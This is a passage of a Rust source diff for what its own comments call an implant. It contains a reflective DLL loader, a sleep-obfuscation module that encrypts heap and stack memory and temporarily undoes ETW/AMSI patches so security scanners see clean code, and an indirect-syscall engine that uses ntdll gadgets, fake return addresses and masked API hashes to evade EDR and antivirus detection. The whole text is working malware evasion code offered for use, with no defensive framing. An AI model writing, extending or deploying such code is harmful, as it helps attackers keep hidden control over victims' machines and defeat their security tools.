}
}
0
}
/// Resolve an export by ordinal; returns its VA or 0.
unsafe fn export_by_ordinal(base: usize, ordinal: u16) -> usize {
let lfanew = rd_u32(base, 0x3C) as usize;
let dd = base + lfanew + 4 + 20 + 112;
let ed_rva = rd_u32(dd, 0) as usize;
if ed_rva == 0 {
return 0;
}
let ed = base + ed_rva;
let export_base = rd_u32(ed, 16) as usize;
let num_funcs = rd_u32(ed, 20) as usize;
let addr_of_funcs = rd_u32(ed, 28) as usize;
if ordinal < export_base as u16 || addr_of_funcs == 0 {
return 0;
}
let idx = ordinal as usize - export_base;
if idx >= num_funcs {
return 0;
}
let fn_rva = rd_u32(base + addr_of_funcs, idx * 4) as usize;
if fn_rva == 0 {
return 0;
}
base + fn_rva
}
// ---- The loader ----
/// Thread-start routine invoked by the `ReflectiveLoader` export on the
/// copied, un-relocated image. Returns the address of the newly loaded DLL's
/// entry point, or 0 on failure.
#[inline(never)]
pub extern "system" fn loader_impl(lpParameter: usize) -> usize {
unsafe {
// STEP 0: locate our own (un-relocated) image base.
let ui_lib = find_image_base(rip_here());
if ui_lib == 0 {
return 0;
}
// STEP 1: resolve the APIs we need by name hash.
let peb = peb_pointer();
let k32 = module_base_by_hash(peb, r(KERNEL32_HASH));
let ntdll = module_base_by_hash(peb, r(NTDLL_HASH));
if k32 == 0 || ntdll == 0 {
return 0;
}
let p_load = export_by_hash(k32, r(LOADLIBRARYA_HASH));
let p_get_proc = export_by_hash(k32, r(GETPROCADDRESS_HASH));
let p_alloc = export_by_hash(k32, r(VIRTUALALLOC_HASH));
let p_flush = export_by_hash(ntdll, r(NTFLUSH_HASH));
if p_load == 0 || p_get_proc == 0 || p_alloc == 0 {
return 0;
}
let f_load: LoadLibraryFn = core::mem::transmute(p_load);
let f_get_proc: GetProcAddressFn = core::mem::transmute(p_get_proc);
let f_alloc: VirtualAllocFn = core::mem::transmute(p_alloc);
let f_flush: NtFlushFn = core::mem::transmute(p_flush);
// Register .pdata so unwinding through our code does not crash. The
// proc-name string is materialized from immediates (no .rodata).
let mut name_space = core::mem::MaybeUninit::<[u8; 20]>::uninit();
let name_ptr = name_space.as_mut_ptr() as *mut u8 as usize;
fill_u64(name_ptr, 0x7546_6464_416C_7452); // "RtlAddFu"
fill_u64(name_ptr + 8, 0x6154_6E6F_6974_636E); // "nctionTa"
fill_u32(name_ptr + 16, 0x0065_6C62); // "ble\0"
let p_add_table = f_get_proc(ntdll, name_ptr as *const u8);
// STEP 2: load the image into a fresh permanent location.
let lfanew = rd_u32(ui_lib, 0x3C) as usize;
if lfanew == 0 {
return 0;
}
let opt = ui_lib + lfanew + 4 + 20;
let image_base = rd_u64(opt, 24) as usize;
let size_of_image = rd_u32(opt, 56) as usize;
let ui_base = f_alloc(0, size_of_image, MEM_RESERVE_COMMIT, PAGE_EXECUTE_READWRITE);
if ui_base == 0 {
return 0;
}
// Copy the headers.
copy_bytes(ui_base, ui_lib, rd_u32(opt, 60) as usize);
// STEP 3: copy all sections.
let coff = ui_lib + lfanew + 4;
let num_sections = rd_u16(coff, 2) as usize;
let opt_size = rd_u16(coff, 16) as usize;
let sec = coff + 20 + opt_size;
let mut si = 0;
while si < num_sections {
let s = sec + si * 40;
let vaddr = rd_u32(s, 12) as usize;
let raw_size = rd_u32(s, 16) as usize;
let raw_ptr = rd_u32(s, 20) as usize;
copy_bytes(ui_base + vaddr, ui_lib + raw_ptr, raw_size);
si += 1;
}
// STEP 4: fix up imports.
let dd = opt + 112;
let imp_rva = rd_u32(dd, 8) as usize;
if imp_rva != 0 {
let imp = ui_base + imp_rva;
let mut di = 0;
loop {
let desc = imp + di * 20;
let name_rva = rd_u32(desc, 12);
if name_rva == 0 {
break;
}
let hlib = f_load((ui_base + name_rva as usize) as *const u8);
let oft_rva = rd_u32(desc, 0) as usize;
let ft_rva = rd_u32(desc, 16) as usize;
let mut iat = ui_base + ft_rva;
let mut oft = if oft_rva != 0 { ui_base + oft_rva } else { 0 };
loop {
let thunk = rd_u64(iat, 0);
if thunk == 0 {
break;
}
if oft != 0 && (thunk >> 63) == 1 {
let ordinal = (thunk & 0xFFFF) as u16;
wr_u64(iat, 0, export_by_ordinal(hlib, ordinal) as u64);
} else {
let name_rva2 = (thunk as u32) as usize;
let by_name = ui_base + name_rva2;
wr_u64(iat, 0, f_get_proc(hlib, (by_name + 2) as *const u8) as u64);
}
iat += 8;
if oft != 0 {
oft += 8;
}
}
di += 1;
}
}
// STEP 5: apply relocations.
let reloc_dd = dd + 0x28;
let reloc_size = rd_u32(reloc_dd, 4);
if reloc_size != 0 {
let reloc_rva = rd_u32(reloc_dd, 0) as usize;
let delta = ui_base.wrapping_sub(image_base);
let mut r = ui_base + reloc_rva;
loop {
let block_size = rd_u32(r, 4);
if block_size == 0 {
break;
}
let target = ui_base + rd_u32(r, 0) as usize;
let mut count = (block_size as usize - 8) / 2;
let mut e = r + 8;
while count > 0 {
let word = rd_u16(e, 0) as usize;
let typ = (word >> 12) & 0xF;
let off = word & 0xFFF;
// Only DIR64 (10) needs applying; a single comparison is
// used deliberately: a multi-case dispatch lets LLVM emit
// a jump table in `.rodata`, whose RIP-relative address
// would be wrong in the raw copy.
if typ == 10 {
let v = rd_u64(target, off).wrapping_add(delta as u64);
wr_u64(target, off, v);
}
e += 2;
count -= 1;
}
r = r + block_size as usize;
}
}
// STEP 5b: register the exception table (.pdata) with the OS.
let exc_dd = dd + 0x30;
let exc_rva = rd_u32(exc_dd, 0) as usize;
let exc_size = rd_u32(exc_dd, 4) as usize;
if p_add_table != 0 && exc_rva != 0 && exc_size != 0 {
let f_add: RtlAddFunctionTableFn = core::mem::transmute(p_add_table);
let _ = f_add(ui_base + exc_rva, (exc_size / 12) as u32, ui_base as u64);
}
// Flush the instruction cache so relocated code is used.
let _ = f_flush(-1, 0, 0);
// STEP 6: invoke the DLL entry point and return its address.
let entry = ui_base + rd_u32(opt, 16) as usize;
let f_entry: DllMainFn = core::mem::transmute(entry);
let _ = f_entry(ui_base, DLL_PROCESS_ATTACH, lpParameter);
entry
}
}
@@ -0,0 +1,263 @@
//! Sleep obfuscation and memory encryption for runtime evasion.
//!
//! When the implant is idle (sleeping), we encrypt sensitive memory regions
//! (heap, .data) so memory scanners/dumpers can't find plaintext strings,
//! keys, or configuration. On wake, we decrypt just-in-time.
//!
//! We also *un-patch* the ETW/AMSI code modifications before sleeping and
//! re-apply them on wake: memory-scanning EDRs inspect code sections while a
//! process idles, and a permanently-modified ntdll/amsi prologue is a
//! giveaway. `patch::suspend_all` / `patch::resume_all` handle that.
//!
//! Uses per-build constants from gen.rs plus runtime entropy for the key.
use core::arch::asm;
use core::ffi::c_void;
use core::ptr;
use core::sync::atomic::{AtomicBool, Ordering};
use crate::abi;
use crate::gen;
use crate::patch;
use crate::syscall;
const MEM_COMMIT: u32 = 0x1000;
const PAGE_READWRITE: u32 = 0x04;
#[repr(C)]
#[derive(Clone, Copy)]
struct MemoryBasicInfo {
base_address: *mut c_void,
allocation_base: *mut c_void,
allocation_protect: u32,
region_size: usize,
state: u32,
protect: u32,
_type: u32,
}
static ENCRYPTION_ACTIVE: AtomicBool = AtomicBool::new(false);
static mut SLEEP_KEY: [u8; 32] = [0u8; 32];
/// Initialize the sleep-encryption key from per-build constants + runtime
/// entropy (RDTSC + stack address + tick count).
pub unsafe fn init_sleep_key() {
let mut key = [0u8; 32];
// Build-time constants (unique per artifact).
key[0] ^= gen::K_TOKEN;
key[1] ^= gen::K_VENDOR;
key[2] ^= gen::K_SMBIOS;
key[3] ^= gen::K_ENV;
key[4] ^= gen::K_DISPLAY;
let seed_bytes = gen::GEN_SEED.to_le_bytes();
for i in 0..4 {
key[5 + i] ^= seed_bytes[i];
}
// Runtime entropy.
let mut tsc_lo: u32;
let mut tsc_hi: u32;
asm!("rdtsc", out("eax") tsc_lo, out("edx") tsc_hi, options(nostack, preserves_flags));
let sp: usize;
asm!("lea {}, [rsp]", out(reg) sp, options(nostack, preserves_flags));
let tick = abi::GetTickCount64();
let entropy: [[u8; 8]; 5] = [
(tsc_lo as u64).to_le_bytes(),
(tsc_hi as u64).to_le_bytes(),
(sp as u64).to_le_bytes(),
tick.to_le_bytes(),
((sp >> 16) as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15).to_le_bytes(),
];
for (i, chunk) in entropy.iter().enumerate() {
for (j, &b) in chunk.iter().enumerate() {
key[(i * 6 + j) % 32] ^= b;
}
}
for i in 0..32 {
ptr::write_volatile(&mut SLEEP_KEY[i] as *mut u8, key[i]);
}
}
/// Keystream byte derived from SLEEP_KEY + position + region base.
#[inline(always)]
unsafe fn keystream_byte(offset: usize, region_base: usize) -> u8 {
let k0 = ptr::read_volatile(&SLEEP_KEY[0]) as u32;
let k1 = ptr::read_volatile(&SLEEP_KEY[8]) as u32;
let k2 = ptr::read_volatile(&SLEEP_KEY[16]) as u32;
let mut x = k0
.wrapping_add((offset as u32).wrapping_mul(0x9E37_79B9))
.wrapping_add((region_base as u32).wrapping_mul(0x7F4A_7C15))
.wrapping_add(k1)
.wrapping_add(k2);
x ^= x >> 13;
x = x.wrapping_mul(0x5D58_85A9);
x ^= x >> 16;
x = x.wrapping_mul(0x85EBCA6B);
x ^= x << 7;
x = x.wrapping_mul(0x9E37_79B9);
(x & 0xFF) as u8
}
/// XOR-encrypt a region in place (symmetric with decrypt).
unsafe fn transform_region(base: *mut u8, size: usize) {
if base.is_null() || size == 0 {
return;
}
for i in 0..size {
let byte = ptr::read_volatile(base.add(i));
ptr::write_volatile(base.add(i), byte ^ keystream_byte(i, base as usize));
}
}
/// Should this region be encrypted? Only committed RW data regions — never
/// code (RX), guard pages, or mapped images.
unsafe fn should_transform(info: &MemoryBasicInfo) -> bool {
if info.state != MEM_COMMIT {
return false;
}
info.protect & 0xFF == PAGE_READWRITE
}
/// Change page protection via the runtime-resolved VirtualProtect.
unsafe fn set_protect(addr: *mut c_void, size: usize, prot: u32) -> Option<u32> {
let vp = crate::apires::virtual_protect();
if vp == 0 {
return None;
}
type VpFn = unsafe extern "system" fn(*mut c_void, usize, u32, *mut u32) -> i32;
let f: VpFn = core::mem::transmute(vp);
let mut old: u32 = 0;
if f(addr, size, prot, &mut old) != 0 {
Some(old)
} else {
None
}
}
/// Encrypt all private RW data regions (heap, .data, .bss).
pub unsafe fn encrypt_memory() {
if ENCRYPTION_ACTIVE.load(Ordering::SeqCst) {
return;
}
init_sleep_key();
let mut info: MemoryBasicInfo = core::mem::zeroed();
let mut addr: usize = 0;
while addr < usize::MAX - 0x10000 {
let got = abi::VirtualQuery(
addr as *const c_void,
&mut info as *mut _ as *mut c_void,
core::mem::size_of::<MemoryBasicInfo>(),
);
if got == 0 {
break;
}
if should_transform(&info) && info.region_size > 0 && info.region_size < 64 * 1024 * 1024 {
transform_region(info.base_address as *mut u8, info.region_size);
}
let next = info.base_address as usize + info.region_size;
if next <= addr {
break;
}
addr = next;
}
ENCRYPTION_ACTIVE.store(true, Ordering::SeqCst);
}
/// Decrypt all previously encrypted regions (XOR is symmetric; same pass).
pub unsafe fn decrypt_memory() {
if !ENCRYPTION_ACTIVE.load(Ordering::SeqCst) {
return;
}
let mut info: MemoryBasicInfo = core::mem::zeroed();
let mut addr: usize = 0;
while addr < usize::MAX - 0x10000 {
let got = abi::VirtualQuery(
addr as *const c_void,
&mut info as *mut _ as *mut c_void,
core::mem::size_of::<MemoryBasicInfo>(),
);
if got == 0 {
break;
}
if should_transform(&info) && info.region_size > 0 && info.region_size < 64 * 1024 * 1024 {
transform_region(info.base_address as *mut u8, info.region_size);
}
let next = info.base_address as usize + info.region_size;
if next <= addr {
break;
}
addr = next;
}
ENCRYPTION_ACTIVE.store(false, Ordering::SeqCst);
}
/// Sleep with memory encryption + patch-evasion:
/// encrypt → restore ETW/AMSI bytes → NtDelayExecution → re-patch → decrypt.
pub unsafe fn secure_sleep(milliseconds: u32) {
encrypt_memory();
// Restore original code bytes so memory scanners see a pristine ntdll/amsi
// while we idle.
patch::suspend_all();
// Negative LARGE_INTEGER = relative timeout, in 100ns units.
let interval: i64 = -((milliseconds as i64) * 10_000);
let _ = syscall::sys_nt_delay_execution(0, &interval as *const i64);
// Re-apply the defense patches.
patch::resume_all();
decrypt_memory();
}
/// Selective encryption for specific sensitive buffers.
pub unsafe fn encrypt_sensitive(regions: &[(*mut u8, usize)]) {
init_sleep_key();
for &(base, size) in regions {
transform_region(base, size);
}
}
pub unsafe fn decrypt_sensitive(regions: &[(*mut u8, usize)]) {
for &(base, size) in regions {
transform_region(base, size);
}
}
/// Stack hardening during sleep: encrypt a stack window below current SP so
/// stack scanners / return-address walkers can't resolve call chains.
pub unsafe fn spoof_stack() {
let sp: usize;
asm!("mov {}, rsp", out(reg) sp, options(nostack, preserves_flags));
let offset = gen::STACK_SPOOF_OFF as usize;
let size = 4096usize;
if sp > offset + size {
init_sleep_key();
transform_region((sp - offset - size) as *mut u8, size);
}
}
pub unsafe fn unspoof_stack() {
let sp: usize;
asm!("mov {}, rsp", out(reg) sp, options(nostack, preserves_flags));
let offset = gen::STACK_SPOOF_OFF as usize;
let size = 4096usize;
if sp > offset + size {
transform_region((sp - offset - size) as *mut u8, size);
}
}
@@ -0,0 +1,491 @@
//! Indirect syscall engine (v2) — ntdll-gadget execution.
//!
//! Executing `syscall` inside our own code section is exactly what EDR
//! stack-inspection looks for: a syscall whose return address points outside
//! ntdll. This engine instead:
//!
//! 1. Resolves all syscall numbers at runtime from clean ntdll stubs
//! (`4C 8B D1 B8 <nr> ... 0F 05 C3`) using verified-correct ror-hashes.
//! 2. Picks an untouched stub as a *gadget* host: `syscall` lives at +8,
//! its `ret` at +10 — the privileged instruction executes from ntdll's
//! text section, never from ours.
//! 3. Uses a two-stage fake return ("Tartarus' gate" shape): the return
//! address visible on the stack during the syscall points INTO ntdll;
//! a second `ret` gadget there hands control back to our continuation.
//! 4. Falls back to a direct in-place syscall only if every candidate stub
//! is hooked (in which case we are already detected anyway).
//!
//! Per-build variance: which stub hosts the gadgets is selected by
//! `gen::SYSCALL_TRAMP`.
#![allow(unused_assignments)]
use core::arch::asm;
use core::ffi::c_void;
use crate::antihook;
use crate::gen;
// ---------------------------------------------------------------------------
// Rotating-hash name constants (algorithm: ror1 + add, case-insensitive).
// Verified against apires::hash_ascii / hash_wide.
//
// The constants are stored XORed with HASH_KEY so the raw ror-hash values
// never appear in `.rodata` or as immediates (AV scans for known NT API-hash
// tables). `r()` unmasks them at runtime.
// ---------------------------------------------------------------------------
/// XOR key applied to every stored API hash (fixed, so artifacts agree on the
/// decoding); the *effective* hashes stay per-build through gen-mixed strings
/// elsewhere.
pub const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
/// Unmask a stored (scrambled) API hash.
///
/// `black_box` prevents the optimizer from folding `h ^ HASH_KEY` back to the
/// raw value at compile time — the recovery happens at runtime, so the real
/// API-hash constant never appears in the binary.
#[inline(always)]
pub fn r(h: u32) -> u32 {
h ^ core::hint::black_box(HASH_KEY)
}
pub const HASH_NTPROTECT_VIRTUAL_MEMORY: u32 = 0x70D7_B0A8 ^ HASH_KEY;
pub const HASH_NTQUERY_VIRTUAL_MEMORY: u32 = 0x7136_40A8 ^ HASH_KEY;
pub const HASH_NTALLOCATE_VIRTUAL_MEMORY: u32 = 0x7088_E8A8 ^ HASH_KEY;
pub const HASH_NTFREE_VIRTUAL_MEMORY: u32 = 0x7063_80A8 ^ HASH_KEY;
pub const HASH_NTCREATE_THREAD_EX: u32 = 0xD904_009C ^ HASH_KEY;
pub const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
pub const HASH_NTSET_INFORMATION_PROCESS: u32 = 0x1661_28A0 ^ HASH_KEY;
pub const HASH_NTQUERY_SYSTEM_INFORMATION: u32 = 0x3074_649B ^ HASH_KEY;
pub const HASH_NTREAD_VIRTUAL_MEMORY: u32 = 0x703D_80A8 ^ HASH_KEY;
pub const HASH_NTWRITE_VIRTUAL_MEMORY: u32 = 0x70A6_40A8 ^ HASH_KEY;
pub const HASH_LDR_LOAD_DLL: u32 = 0x4600_0094 ^ HASH_KEY;
pub const HASH_NTDELAY_EXECUTION: u32 = 0xFF9C_009B ^ HASH_KEY;
pub const HASH_ETW_EVENT_WRITE: u32 = 0xEF10_0095 ^ HASH_KEY;
pub const HASH_ETW_EVENT_REGISTER: u32 = 0xFFE2_009C ^ HASH_KEY;
pub const HASH_NTTRACE_EVENT: u32 = 0xA0C0_009F ^ HASH_KEY;
pub const HASH_AMSI_SCAN_BUFFER: u32 = 0x69F8_0098 ^ HASH_KEY;
/// Wide-name hash of "amsi.dll" (matches apires::hash_wide).
pub const HASH_MODULE_AMSI: u32 = 0x9E00_0091 ^ HASH_KEY;
/// Syscall numbers resolved at runtime from ntdll stubs.
#[derive(Clone, Copy)]
pub struct SyscallNumbers {
pub nt_protect_virtual_memory: u16,
pub nt_query_virtual_memory: u16,
pub nt_allocate_virtual_memory: u16,
pub nt_free_virtual_memory: u16,
pub nt_create_thread_ex: u16,
pub nt_query_information_process: u16,
pub nt_set_information_process: u16,
pub nt_query_system_information: u16,
pub nt_read_virtual_memory: u16,
pub nt_write_virtual_memory: u16,
pub ldr_load_dll: u16,
pub nt_delay_execution: u16,
}
static mut SYSCALL_NUMS: SyscallNumbers = SyscallNumbers {
nt_protect_virtual_memory: 0,
nt_query_virtual_memory: 0,
nt_allocate_virtual_memory: 0,
nt_free_virtual_memory: 0,
nt_create_thread_ex: 0,
nt_query_information_process: 0,
nt_set_information_process: 0,
nt_query_system_information: 0,
nt_read_virtual_memory: 0,
nt_write_virtual_memory: 0,
ldr_load_dll: 0,
nt_delay_execution: 0,
};
// ---------------------------------------------------------------------------
// Gadget discovery
// ---------------------------------------------------------------------------
/// A clean ntdll stub yields two gadget addresses:
/// syscall_gadget = stub + 8 (`0F 05`)
/// ret_gadget = stub + 10 (`C3`)
#[derive(Clone, Copy)]
struct Gadgets {
syscall_gadget: usize,
ret_gadget: usize,
}
static mut GADGETS: Gadgets = Gadgets { syscall_gadget: 0, ret_gadget: 0 };
/// Extract the service number embedded in an ntdll stub.
unsafe fn stub_syscall_number(addr: usize) -> Option<u16> {
let mut buf = [0u8; 12];
antihook::read_bytes_pub(addr, &mut buf);
if buf[0] == 0x4C && buf[1] == 0x8B && buf[2] == 0xD1 && buf[3] == 0xB8 {
Some(u16::from_le_bytes([buf[4], buf[5]]))
} else {
None
}
}
/// Candidate trampoline hosts, ordered per-build via SYSCALL_TRAMP rotation.
fn stub_candidates() -> [u32; 5] {
let base = [
r(HASH_NTDELAY_EXECUTION),
r(HASH_NTQUERY_SYSTEM_INFORMATION),
r(HASH_NTWRITE_VIRTUAL_MEMORY),
r(HASH_NTQUERY_INFORMATION_PROCESS),
r(HASH_NTREAD_VIRTUAL_MEMORY),
];
let rot = (gen::SYSCALL_TRAMP as usize) % base.len();
let mut out = [0u32; 5];
for i in 0..base.len() {
out[i] = base[(i + rot) % base.len()];
}
out
}
/// Resolve syscall numbers + pick clean gadget-hosting stubs.
pub unsafe fn init_syscall_numbers() {
let ntdll = crate::apires::ntdll_base();
if ntdll == 0 {
return;
}
macro_rules! resolve_num {
($hash:expr, $field:ident) => {
if let Some(addr) = antihook::resolve_export(r($hash)) {
if let Some(n) = stub_syscall_number(addr) {
SYSCALL_NUMS.$field = n;
}
}
};
}
resolve_num!(HASH_NTPROTECT_VIRTUAL_MEMORY, nt_protect_virtual_memory);
resolve_num!(HASH_NTQUERY_VIRTUAL_MEMORY, nt_query_virtual_memory);
resolve_num!(HASH_NTALLOCATE_VIRTUAL_MEMORY, nt_allocate_virtual_memory);
resolve_num!(HASH_NTFREE_VIRTUAL_MEMORY, nt_free_virtual_memory);
resolve_num!(HASH_NTCREATE_THREAD_EX, nt_create_thread_ex);
resolve_num!(HASH_NTQUERY_INFORMATION_PROCESS, nt_query_information_process);
resolve_num!(HASH_NTSET_INFORMATION_PROCESS, nt_set_information_process);
resolve_num!(HASH_NTQUERY_SYSTEM_INFORMATION, nt_query_system_information);
resolve_num!(HASH_NTREAD_VIRTUAL_MEMORY, nt_read_virtual_memory);
resolve_num!(HASH_NTWRITE_VIRTUAL_MEMORY, nt_write_virtual_memory);
resolve_num!(HASH_LDR_LOAD_DLL, ldr_load_dll);
resolve_num!(HASH_NTDELAY_EXECUTION, nt_delay_execution);
// Pick a clean gadget host: unhooked AND byte-verified stub shape.
for &hash in stub_candidates().iter() {
if let Some(addr) = antihook::resolve_export(hash) {
if addr != 0 && !antihook::is_address_hooked(addr) {
let mut probe = [0u8; 12];
antihook::read_bytes_pub(addr, &mut probe);
// mov r10,rcx | mov eax,imm32 | syscall | ret
if probe[0] == 0x4C
&& probe[1] == 0x8B
&& probe[2] == 0xD1
&& probe[3] == 0xB8
&& probe[8] == 0x0F
&& probe[9] == 0x05
&& probe[10] == 0xC3
{
GADGETS = Gadgets {
syscall_gadget: addr + 8,
ret_gadget: addr + 10,
};
break;
}
}
}
}
}
pub unsafe fn get_syscall_numbers() -> &'static SyscallNumbers {
if SYSCALL_NUMS.nt_protect_virtual_memory == 0
&& SYSCALL_NUMS.nt_delay_execution == 0
{
init_syscall_numbers();
}
&SYSCALL_NUMS
}
#[inline]
unsafe fn gadgets() -> (usize, usize) {
let g = core::ptr::addr_of!(GADGETS).read();
(g.syscall_gadget, g.ret_gadget)
}
// ---------------------------------------------------------------------------
// Indirect syscall wrappers - ntdll-gadget + fake-return layout.
//
// Register plan (ABI-safe, Windows x64):
// rcx/rdx/r8/r9 : syscall args (pinned), rcx copied to r10 manually
// rdi : syscall gadget address (callee-saved => read-only use)
// rsi : ret gadget address (callee-saved => read-only use)
// r12 : syscall number (callee-saved => read-only use)
// r13/r14 : optional args 5/6 (callee-saved => read-only use)
// r11 : internal scratch (volatile, kernel-clobbered anyway)
// eax : NTSTATUS out
//
// Rust forbids referencing explicit-register operands in asm templates, so
// every value enters through a fixed callee-saved register hardcoded in the
// template text. LLVM keeps those values alive until the block consumes them.
//
// Stack contract at `jmp rdi` (syscall gadget):
// [rsp] = ret_gadget (ntdll `C3`) <- EDR-visible "return address"
// [rsp+8] = real continuation label
// Flow: ntdll `syscall` -> stub `ret` pops ret_gadget -> jumps there ->
// that `ret` pops our continuation. Stack ends balanced.
// ---------------------------------------------------------------------------
/// 4-arg indirect syscall.
#[inline]
pub unsafe fn sys_indirect4(num: u32, a1: usize, a2: usize, a3: usize, a4: usize) -> i32 {
let (sg, rg) = gadgets();
if sg == 0 {
let status: i32;
asm!(
"mov r10, rcx",
"mov eax, r12d",
"syscall",
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
in("r12") num,
lateout("rax") status,
options(nostack),
);
return status;
}
let status: i32;
asm!(
"mov r10, rcx",
"mov eax, r12d",
"lea rcx, [rip+2f]",
"push rcx",
"mov r11, rsi",
"push r11",
"jmp rdi",
"2:",
in("rcx") a1,
in("rdx") a2,
in("r8") a3,
in("r9") a4,
in("rdi") sg,
in("rsi") rg,
in("r12") num,
lateout("rax") status,
out("r11") _,
);
status
}
/// 6-arg indirect syscall (args 5/6 via kernel stack slots).
/// Stores land at [rsp+0x18]/[rsp+0x20]; two pushes shift rsp down 0x10 so
/// they sit at kernel-required [rsp+0x28]/[rsp+0x30] at syscall time.
#[inline]
pub unsafe fn sys_indirect6(
num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize,
) -> i32 {
let (sg, rg) = gadgets();
if sg == 0 {
let status: i32;
asm!(
"sub rsp, 0x30",
"mov [rsp+0x28], r13",
"mov [rsp+0x30], r14",
"mov r10, rcx",
"mov eax, r12d",
"syscall",
"add rsp, 0x30",
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
in("r12") num, in("r13") a5, in("r14") a6,
lateout("rax") status,
options(nostack),
);
return status;
}
let status: i32;
asm!(
"sub rsp, 0x28",
"mov [rsp+0x18], r13", // -> kernel slot [rsp+0x28] post-push
"mov [rsp+0x20], r14", // -> kernel slot [rsp+0x30] post-push
"mov r10, rcx",
"mov eax, r12d",
"lea rcx, [rip+2f]",
"push rcx",
"mov r11, rsi",
"push r11",
"jmp rdi",
"2:",
"add rsp, 0x28",
in("rcx") a1,
in("rdx") a2,
in("r8") a3,
in("r9") a4,
in("rdi") sg,
in("rsi") rg,
in("r12") num,
in("r13") a5,
in("r14") a6,
lateout("rax") status,
out("r11") _,
);
status
}
/// 5-arg indirect syscall (arg 5 on kernel stack slot).
/// Store at [rsp+0x08]; two pushes shift rsp by 0x10 so it lands at
/// kernel-required [rsp+0x28] at syscall time.
#[inline]
pub unsafe fn sys_indirect5(
num: u32, a1: usize, a2: usize, a3: usize, a4: usize, a5: usize,
) -> i32 {
let (sg, rg) = gadgets();
if sg == 0 {
let status: i32;
asm!(
"sub rsp, 0x28",
"mov [rsp+0x28], r13",
"mov r10, rcx",
"mov eax, r12d",
"syscall",
"add rsp, 0x28",
in("rcx") a1, in("rdx") a2, in("r8") a3, in("r9") a4,
in("r12") num, in("r13") a5,
lateout("rax") status,
options(nostack),
);
return status;
}
let status: i32;
asm!(
"sub rsp, 0x18",
"mov [rsp+0x08], r13", // -> kernel slot [rsp+0x28] post-push
"mov r10, rcx",
"mov eax, r12d",
"lea rcx, [rip+2f]",
"push rcx",
"mov r11, rsi",
"push r11",
"jmp rdi",
"2:",
"add rsp, 0x18",
in("rcx") a1,
in("rdx") a2,
in("r8") a3,
in("r9") a4,
in("rdi") sg,
in("rsi") rg,
in("r12") num,
in("r13") a5,
lateout("rax") status,
out("r11") _,
);
status
}
// ---------------------------------------------------------------------------
// Typed public wrappers
// ---------------------------------------------------------------------------
#[inline]
fn current_process() -> usize {
usize::MAX // (HANDLE)-1 pseudo-handle
}
pub unsafe fn sys_nt_protect_virtual_memory(
process_handle: usize,
base_address: *mut *mut c_void,
region_size: *mut usize,
new_protect: u32,
old_protect: *mut u32,
) -> i32 {
let num = get_syscall_numbers().nt_protect_virtual_memory as u32;
if num == 0 { return -1; }
sys_indirect6(num, process_handle, base_address as usize, region_size as usize,
new_protect as usize, 0, old_protect as usize)
}
pub unsafe fn sys_nt_allocate_virtual_memory(
process_handle: usize,
base_address: *mut *mut c_void,
zero_bits: usize,
region_size: *mut usize,
allocation_type: u32,
protect: u32,
) -> i32 {
let num = get_syscall_numbers().nt_allocate_virtual_memory as u32;
if num == 0 { return -1; }
sys_indirect6(num, process_handle, base_address as usize, zero_bits,
region_size as usize, allocation_type as usize, protect as usize)
}
pub unsafe fn sys_nt_free_virtual_memory(
process_handle: usize,
base_address: *mut *mut c_void,
region_size: *mut usize,
free_type: u32,
) -> i32 {
let num = get_syscall_numbers().nt_free_virtual_memory as u32;
if num == 0 { return -1; }
sys_indirect4(num, process_handle, base_address as usize, region_size as usize, free_type as usize)
}
pub unsafe fn sys_nt_query_information_process(
process_handle: usize,
info_class: u32,
info: *mut c_void,
info_len: u32,
return_len: *mut u32,
) -> i32 {
let num = get_syscall_numbers().nt_query_information_process as u32;
if num == 0 { return -1; }
sys_indirect5(num, process_handle, info_class as usize, info as usize,
info_len as usize, return_len as usize)
}
pub unsafe fn sys_nt_set_information_process(
process_handle: usize,
info_class: u32,
info: *mut c_void,
info_len: u32,
) -> i32 {
let num = get_syscall_numbers().nt_set_information_process as u32;
if num == 0 { return -1; }
sys_indirect4(num, process_handle, info_class as usize, info as usize, info_len as usize)
}
pub unsafe fn sys_nt_query_system_information(
info_class: u32,
info: *mut c_void,
info_len: usize,
return_len: *mut usize,
) -> i32 {
let num = get_syscall_numbers().nt_query_system_information as u32;
if num == 0 { return -1; }
sys_indirect4(num, info_class as usize, info as usize, info_len, return_len as usize)
}
pub unsafe fn sys_nt_query_virtual_memory(
process_handle: usize,
base_address: *const c_void,
info_class: u32,
info: *mut c_void,
info_len: usize,
return_len: *mut usize,
) -> i32 {
let num = get_syscall_numbers().nt_query_virtual_memory as u32;
if num == 0 { return -1; }
sys_indirect6(num, process_handle, base_address as usize, info_class as usize,
info as usize, info_len, return_len as usize)
}
pub unsafe fn sys_nt_delay_execution(alertable: u32, interval: *const i64) -> i32 {
let num = get_syscall_numbers().nt_delay_execution as u32;
if num == 0 { return -1; }
sys_indirect4(num, alertable as usize, interval as usize, 0, 0)
}
/// Current-process pseudo-handle helper for external users.
pub fn cur_process() -> usize {
current_process()
}